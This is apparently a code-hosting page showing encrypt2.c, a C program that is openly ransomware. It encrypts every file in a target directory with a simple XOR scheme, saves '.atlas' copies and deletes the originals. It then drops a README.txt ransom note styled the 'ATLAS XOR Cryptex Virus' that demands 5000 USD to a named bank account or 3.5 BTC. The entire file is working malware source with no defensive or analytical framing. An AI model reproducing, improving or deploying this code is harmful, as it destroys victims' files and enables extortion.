-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathencrypt2.c
117 lines (107 loc) · 3.32 KB
/
encrypt2.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <dirent.h>
#include <sys/types.h>
#define AND &
#define XOR ^
#define NOT !
int i = 0;
FILE *buffer;
FILE *ciphered;
FILE *readme;
float sharedkey[10] = {0.65,100,0.365,0,25.9,999,5,12.58,7.0214,103.126};
float precalculated;
char path[] = {"C:/test"};
struct data_chars {
char current_char;
char ciphered_char;
char pre_ciphered_char;
} data;
struct cipher_attrib {
int password;
char file[500];
char c_file[500];
char readmsg[500];
} c_attrib;
int main(void)
{
DIR *dirp;
struct dirent *direntp;
c_attrib.password = 900;
dirp = opendir(path);
if (dirp == NULL)
{
fprintf(stderr, "Error: Unable to open directory\n", perror);
exit(EXIT_FAILURE);
}
while ((direntp = readdir(dirp)) != NULL)
{
fprintf(stdout, "Identifying archive %s\n", direntp -> d_name);
strcpy(c_attrib.file, path);
strcat(c_attrib.file, "/");
strcat(c_attrib.file, direntp -> d_name);
strcpy(c_attrib.c_file, path);
strcat(c_attrib.c_file, "/");
if((strcmp(direntp -> d_name, ".") == 0) && (strcmp(direntp -> d_name, "..") == 0))
{
fprintf(stderr, "Jumping Archive %s", c_attrib.file);
}
else
if((strcmp(direntp -> d_name, ".") != 0) && (strcmp(direntp -> d_name, "..") != 0))
{
buffer = fopen(c_attrib.file, "r"); /* Open the file to Encrypt */
if(buffer == NULL)
{
fputs("Error opening file or does not exist !", stderr);
exit(EXIT_FAILURE);
}
strcat(c_attrib.c_file, direntp -> d_name);
strcat(c_attrib.c_file, ".atlas");
ciphered = fopen(c_attrib.c_file, "w+"); /*Create encrypted file */
if(ciphered == NULL)
{
fputs("Error opening file encryptor", stderr);
exit(EXIT_FAILURE);
}
while(!(feof(buffer)))
{
data.current_char = fgetc(buffer);
data.pre_ciphered_char = (char)((int)data.current_char XOR c_attrib.password);
for(i = 0;i <= 10;i++)
precalculated = (sharedkey[i] * c_attrib.password);
data.ciphered_char = (char)((int)data.pre_ciphered_char XOR (int)precalculated);
fputc(data.ciphered_char,ciphered);
}
fclose(buffer);
fclose(ciphered);
strcpy(c_attrib.file, path);
strcat(c_attrib.file, "/");
strcat(c_attrib.file, direntp -> d_name);
remove(c_attrib.file);
}
}
strcat(c_attrib.readmsg, path);
strcat(c_attrib.readmsg, "/");
strcat(c_attrib.readmsg, "README.txt");
readme = fopen(c_attrib.readmsg,"w+");
fprintf(readme,
"\t-------------------------------------\n"
"\t-This is the ATLAS XOR Cryptex Virus-\n"
"\t-------------------------------------\n\n\n"
"\t------------------------------------------------------------------------------------------\n"
"\tIf you want to recover your valuable information\n"
"\tYou only need to deposit 5000 $ USD\n"
"\tIn SBI bank in India with the number \n"
"\tOf account 787562312 with its name of instutucion and data\n"
"\tTo be able to give you the decryption key or send 3.5BTC\n"
"\tat the bitcoin address:............\n\n\n"
"\tRemember your Information is in play, do not accept the payment process and your information\n"
"\tWill be completely lost\n"
"\t------------------------------------------------------------------------------------------\n\n\n"
"\tATLAS\n\n");
fclose(readme);
return 0;
}